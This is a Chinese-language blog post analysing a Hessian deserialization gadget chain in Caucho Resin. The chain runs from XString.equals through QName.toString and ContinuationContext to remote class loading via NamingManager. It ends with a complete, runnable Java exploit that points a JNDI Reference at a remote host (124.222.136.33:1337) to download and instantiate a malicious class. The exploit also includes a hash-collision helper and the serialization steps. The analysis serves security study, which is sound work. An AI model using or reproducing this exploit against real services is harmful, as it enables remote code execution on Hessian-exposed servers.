目录
前言
原理分析
XString:触发恶意类toString
QName的设计理念?
远程恶意类加载Context:ContinuationContext
QName:恶意toString利用
hash相等构造
EXP
前言
精神状态有点糟糕,随便学一下吧
首先明确一个朴素的认知:当Hessian反序列化Map
类型的对象的时候,会自动调用其put
方法,而put方法又会牵引出各种相关利用链打法。
对于HashMap,可以利用key.equals(k),当此处的key为XString时,就可以调用参数k的toString方法,从而进行恶意利用,这里在打Rome的HotSwappableTargetSource链时也有过涉及:
【Web】浅聊Java反序列化之Rome——关于其他利用链-CSDN博客
而这里传入equals的参数QName的toString方法的利用点是context属性的远程类加载。
关于远程类加载,C3P0打URLClassLoader和本条链十分相像,感兴趣的师傅可以看一下:
【Web】浅聊Java反序列化之C3P0——URLClassLoader利用
原理分析
XString:触发恶意类toString
当XString#equals参数为Object时,方法逻辑如下
public boolean equals(Object obj2)
{
if (null == obj2)
return false;
// In order to handle the 'all' semantics of
// nodeset comparisons, we always call the
// nodeset function.
else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if(obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString());
}
最后的意思是如果非空obj2既不是XNodeSet,也不是XNumber的实例,那么将当前对象转换为字符串形式,再与obj2的字符串形式进行比较,从而调用传入的obj2#toString
当obj2为精心构造的QName时,也就有了下面的故事
QName的设计理念?
在Rome里我们有toStringBean来进行恶意toString利用,在Resin里,我们可以利用QName的恶意toString
在具体聊QName#toString前,我们先得对啥是QName有个朴素的认知
QName类的描述,直接来了波大的,其表示一个解析后的 JNDI 名称
先从QName的构造函数开始看吧
public QName(Context context, String first, String rest) {
this._context = context;
if (first != null) {
this._items.add(first);
}
if (rest != null) {
this._items.add(rest);
}
}
根据构造函数可以推测,QName对象的功能是用于表示一个JNDI限定名(qualified name),通过传入的Context对象以及两个字符串参数(first和rest),QName对象可以将这些信息组合起来形成一个完整的限定名。
Context为何?
看一下Context接口的描述
该接口表示一个命名上下文,包含一组名称到对象的绑定,它包含用于检查和更新这些绑定的方法 ,其实就是JNDI的相关操作。
OKOK点到为止
远程恶意类加载Context:ContinuationContext
其构造方法接受一个CannotProceedException和Hashtable
CannotProceedException是javax.naming异常体系中的一种异常,通常在本地加载类失败时使用。它的作用是对无法继续进行操作的异常情况进行处理。
而处理的关键则在Reference
我们要通过对cpe的精心构造来触发后续利用
构造如下:
String refAddr = "http://124.222.136.33:1337/";
String refClassName = "calc";
Reference ref = new Reference(refClassName, refClassName, refAddr);
Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance();
String classname = "javax.naming.NamingException";
setFiled(classname, cannotProceedException, "resolvedObj", ref);
至于为什么这样构造,现在可能看不懂,但其实结合后面的分析就十分显然了,不作赘述
先对照Reference构造方法看一看
再扔出两条调用链,细品
cpe.getResolvedObj()——>refInfo——>ref——>ref.getFactoryClassName()——>f——>factoryName
cpe.getResolvedObj()——>refInfo——>ref.getFactoryClassLocation()——>codebase
QName:恶意toString利用
再看QName#toString
通过一个for循环遍历当前对象所包含的元素,对集合中的每个元素进行处理。在循环中,获取当前元素的字符串表示并赋值给str。然后进入一个条件判断:
- 如果name不为null,则调用上下文(this._context)的composeName方法,传入str和name作为参数,得到的结果赋值给name。
- 如果composeName方法抛出命名异常(NamingException),则捕获异常,在name后面拼接"/"和当前元素的字符串表示str。
- 如果name为null,直接将当前元素的字符串表示赋值给name。
我们这里令_context为ContinuationContext
跟进ContinuationContext#composeName(请忽略下面的ctx.composeName,它不在我们利用链中,这条链的核心就是ctx的远程加载类)
跟进ContinuationContext#getTargetContext
为了进到NamingManager.getContext我们需要满足下面两个条件
contCtx == null,在构造中本身就不设置,所以不需要考虑
cpe.getResolvedObj()返回不为null(其实返回的就是我们上面给CannotProceedException构造的恶意Reference),同时在关键点参数中也会用到,因此这里需要构造,不会为null
跟进NamingManager.getContext
顾名思义,猜测其就是对恶意Reference进行一个实例化
机翻一下描述:“为指定的对象和环境创建一个对象实例。 如果安装了对象工厂构建器,则会使用它来创建用于创建对象的工厂。否则,将使用以下规则来创建对象: 如果 refInfo 是包含工厂类名称的 Reference 或 Referenceable,请使用命名工厂来创建对象。如果无法创建工厂,请返回 refInfo”
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
// 关键点
factory = getObjectFactoryFromReference(ref, f);
// ....
}
// ...
}
其实就是需要远程加载恶意类(对象工厂),根据代码,需要让refInfo为Reference实例,同时ref.getFactoryClassName()不为空,至于设置成什么,继续观察后面方法,来到getObjectFactoryFromReference方法
首先试图通过当前上下文类加载器加载,这里的上下文类加载器是通过Thread.currentThread().getContextClassLoader();或ClassLoader.getSystemClassLoader();获取的,显然会找不到我们指定的类,再从Reference获取codebase(CannotProceedException的作用也就在这体现了,开发者的巧思)
接下来去codebase加载calc类
stepinto,发现就是用URLClassLoader来加载远程类
跟进loadClass
最后返回值,回到NamingManager#getObjectFactoryFromReference,完成类的实例化
hash相等构造
HashMap#put中有着下述逻辑
调用key.equals(k),需要满足以下条件:①p.hash==hash,②p.key!=key,③key!=null
后两者是好解决的,主要问题在hash相等构造上
关注XString的hashCode方法
跟进str()
即将m_obj属性转换成字符串类型返回,最后调用String的hashCode方法进行hash计算,这里的m_obj即是实例化XString传入的参数
我们只要让m_obj的hash值等于QName的hash值就可
现在的关键点在于根据String类的hashCode逻辑,得到该方法的逆操作,即根据hash值得到对应的string,然后将其作为m_obj
详细的逆操作算法我没太搞明白,就先当工具用吧(
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
hash相等构造利用
QName qName = new QName(continuationContext, "foo", "bar");
String str = unhash(qName.hashCode());
EXP
pom依赖
<dependencies>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.63</version>
</dependency>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
</dependencies>
召唤计算器的神奇咒语
package com.Resin;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
public class Resin {
public static void main(String[] args) throws Exception {
String refAddr = "http://124.222.136.33:1337/";
String refClassName = "calc";
Reference ref = new Reference(refClassName, refClassName, refAddr);
Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance();
String classname = "javax.naming.NamingException";
setFiled(classname, cannotProceedException, "resolvedObj", ref);
// 创建ContinuationContext对象
Class<?> aClass = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = aClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
// 构造方法为protected修饰
constructor.setAccessible(true);
Context continuationContext = (Context) constructor.newInstance(cannotProceedException, new Hashtable<>());
// 创建QName
QName qName = new QName(continuationContext, "foo", "bar");
String str = unhash(qName.hashCode());
// 创建Xtring
XString xString = new XString(str);
// 创建HashMap
HashMap hashMap = new HashMap();
hashMap.put(qName, "111");
hashMap.put(xString, "222");
// 序列化
FileOutputStream fileOutputStream = new FileOutputStream("ResinHessian.bin");
Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(hashMap);
hessian2Output.close();
// 反序列化
FileInputStream fileInputStream = new FileInputStream("ResinHessian.bin");
Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
HashMap o = (HashMap) hessian2Input.readObject();
}
public static void setFiled(String classname, Object o, String fieldname, Object value) throws Exception {
Class<?> aClass = Class.forName(classname);
Field field = aClass.getDeclaredField(fieldname);
field.setAccessible(true);
field.set(o, value);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
}